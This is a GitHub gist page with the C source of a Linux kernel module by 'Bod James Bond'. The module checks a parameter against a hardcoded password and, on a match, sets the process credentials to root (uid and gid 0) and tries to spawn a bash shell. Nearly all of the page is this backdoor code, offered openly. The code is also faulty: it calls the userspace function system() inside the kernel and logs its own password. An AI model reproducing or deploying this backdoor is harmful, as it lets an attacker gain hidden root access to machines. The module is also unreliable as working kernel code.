Created
December 6, 2022 21:25
-
-
Save dzaczek/6aa81f9d3d2dc1770cfe92227b0f7e88 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <linux/module.h> | |
#include <linux/kernel.h> | |
#include <linux/init.h> | |
#include <linux/sched.h> | |
#include <linux/cred.h> | |
static char* user_string; | |
static int __init my_init(void) | |
{ | |
printk(KERN_INFO "Module initialized\n"); | |
printk(KERN_INFO "Waiting for user input: mynameisbodjamesbond\n"); | |
if (strcmp(user_string, "mynameisbodjamesbond") == 0) | |
{ | |
printk(KERN_INFO "Hello!\n"); | |
struct cred* new_cred = prepare_creds(); | |
new_cred->uid.val = 0; | |
new_cred->euid.val = 0; | |
new_cred->gid.val = 0; | |
new_cred->egid.val = 0; | |
commit_creds(new_cred); | |
printk(KERN_INFO "User ID changed to 0\n"); | |
system("bash"); | |
} | |
return 0; | |
} | |
static void __exit my_exit(void) | |
{ | |
printk(KERN_INFO "Module exiting\n"); | |
} | |
module_init(my_init); | |
module_exit(my_exit); | |
module_param(user_string, charp, 0); | |
MODULE_LICENSE("GPL"); | |
MODULE_AUTHOR("Bod James Bond"); | |
MODULE_DESCRIPTION("Kernel module that waits for user input, prints hello, and opens a bash session with uid 0"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment